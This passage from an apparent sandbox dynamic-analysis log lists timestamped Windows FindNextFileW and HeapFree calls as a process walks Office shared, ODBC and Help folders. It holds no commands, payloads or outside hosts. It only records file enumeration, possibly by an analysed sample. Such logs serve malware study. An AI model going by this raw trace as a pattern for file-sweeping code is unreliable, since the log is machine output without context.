hHeap=0x710000) returned 1 [0175.723] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0175.725] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.725] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x289576aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SATIN", cAlternateFileName="")) returned 1 [0175.726] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.726] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SKY", cAlternateFileName="")) returned 1 [0175.727] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.727] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SLATE", cAlternateFileName="")) returned 1 [0175.728] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.728] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SONORA", cAlternateFileName="")) returned 1 [0175.729] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.729] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SPRING", cAlternateFileName="")) returned 1 [0175.730] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.730] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0175.885] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.885] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0176.054] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0176.054] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0176.704] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0176.704] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0176.704] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0176.705] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0176.705] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0176.705] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0176.705] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0176.705] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0176.706] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0176.707] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0176.707] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ENFR", cAlternateFileName="")) returned 1 [0176.707] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0176.707] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ESEN", cAlternateFileName="")) returned 1 [0176.708] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0176.708] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc91c74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FREN", cAlternateFileName="")) returned 1 [0176.708] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0176.709] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0176.709] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0176.709] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca8c279f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0176.709] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.709] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb5e071a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42d088, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0176.709] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0176.709] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf24004e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0 [0176.710] FindClose (in: hFindFile=0x4531c00 | out: hFindFile=0x4531c00) returned 1 [0176.710] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0176.710] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0176.712] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0176.712] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62b5b1e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="Fonts", cAlternateFileName="")) returned 0 [0176.712] FindClose (in: hFindFile=0x4531cc0 | out: hFindFile=0x4531cc0) returned 1 [0176.712] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0176.712] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0176.713] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0176.713] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27d1f57e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x239ec0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0176.713] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.713] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0176.713] FindClose (in: hFindFile=0x4531c00 | out: hFindFile=0x4531c00) returned 1 [0176.713] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0176.713] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0 [0176.713] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0176.713] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0176.716] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0176.716] FindClose (in: hFindFile=0x4531780 | out: hFindFile=0x4531780) returned 1 [0176.716] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0176.717] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e16872b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e16872b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ODBC", cAlternateFileName="")) returned 1 [0176.719] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0176.719] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources", cAlternateFileName="DATASO~1")) returned 0 [0176.719] FindClose (in: hFindFile=0x4531880 | out: hFindFile=0x4531880) returned 1 [0176.719] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0176.719] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 1 [0176.719] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.719] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0176.719] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0176.719] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0176.719] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 1 [0176.720] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0176.720] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0 [0176.720] FindClose (in: hFindFile=0x4531880 | out: hFindFile=0x4531880) returned 1 [0176.720] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0176.720] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 0 [0176.720] FindClose (in: hFindFile=0x4531700 | out: hFindFile=0x4531700) returned 1 [0176.720] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0176.723] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX86", cAlternateFileName="PROGRA~4")) returned 1 [0176.727] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0176.727] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0176.737] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.737] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1e56af1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1 [0176.738] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.738] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0176.739] HeapFree (in: hHeap=0x710000, 